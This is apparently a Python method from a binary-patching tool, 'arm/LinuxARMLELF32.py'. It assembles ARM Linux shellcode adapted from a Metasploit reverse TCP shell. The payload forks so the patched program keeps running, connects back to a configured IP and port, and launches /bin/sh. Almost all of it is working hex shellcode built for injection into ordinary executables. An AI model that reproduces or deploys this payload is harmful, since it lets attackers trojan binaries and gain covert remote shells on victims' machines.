    def reverse_shell_tcp(self, CavesPicked={}):
        """
        Modified from metasploit payload/linux/armle/shell_reverse_tcp
        to correctly fork the shellcode payload and contiue normal execution.
        """
        if self.PORT is None:
            print ("Must provide port")
            sys.exit(1)
        #FORKING
        self.shellcode1 = "\x00\x40\xa0\xe1"   # mov r4, r0 
        self.shellcode1 += "\x00\x00\x40\xe0"   # sub r0, r0, r0
        self.shellcode1 += "\x02\x70\xa0\xe3"   # mov r7, #2
        self.shellcode1 += "\x00\x00\x00\xef"   # scv 0
        self.shellcode1 += "\x00\x00\x50\xe3"   # cmp r0, #
        self.shellcode1 += "\x04\x00\xa0\xe1"   # mov r0, r4
        self.shellcode1 += "\x04\x40\x44\xe0"   # sub r4, r4, r4
        self.shellcode1 += "\x00\x70\xa0\xe3"   # mov r7, #0
        self.shellcode1 += "\x00\x00\x00\x0a"   # beq to shellcode
        # JMP Address = (entrypoint - currentaddress -8)/4
        jmpAddr = 0xffffff + (self.e_entry -(self.shellcode_vaddr +len(self.shellcode1)) - 4)/4
        self.shellcode1 += (struct.pack("<I", jmpAddr)).strip("\x00")
        self.shellcode1 += "\xea"   #b entrypoint
        
        #ACTUAL SHELLCODE
        self.shellcode1 += ("\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c\x70\xa0"
                            "\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60\xa0\xe1\x84\x10"
                            "\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0\xe3\x8e\x70\x87\xe2\x00"
                            "\x00\x00\xef\x06\x00\xa0\xe1\x00\x10\xa0\xe3\x3f\x70\xa0\xe3"
                            "\x00\x00\x00\xef\x06\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0"
                            "\xe3\x00\x00\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70"
                            "\xa0\xe3\x00\x00\x00\xef\x48\x00\x8f\xe2\x04\x40\x24\xe0\x10"
                            "\x00\x2d\xe9\x0d\x20\xa0\xe1\x04\x00\x2d\xe9\x0d\x20\xa0\xe1"
                            "\x10\x00\x2d\xe9\x48\x10\x9f\xe5\x02\x00\x2d\xe9\x00\x20\x2d"
                            "\xe9\x0d\x10\xa0\xe1\x04\x00\x2d\xe9\x0d\x20\xa0\xe1\x0b\x70"
                            "\xa0\xe3\x00\x00\x00\xef"
                            "\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef" #exit
                            "\x02\x00")

        self.shellcode1 += struct.pack('!H', self.PORT)
        self.shellcode1 += self.pack_ip_addresses()
        self.shellcode1 += ("\x2f\x62\x69\x6e"
                            "\x2f\x73\x68\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2d\x43\x00"
                            "\x00")
        #exit test
        #self.shellcode1 += "\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef"
        self.shellcode = self.shellcode1
        return (self.shellcode1)
Modified from metasploit payload/linux/armle/shell_reverse_tcp
to correctly fork the shellcode payload and contiue normal execution.
arm/LinuxARMLELF32.py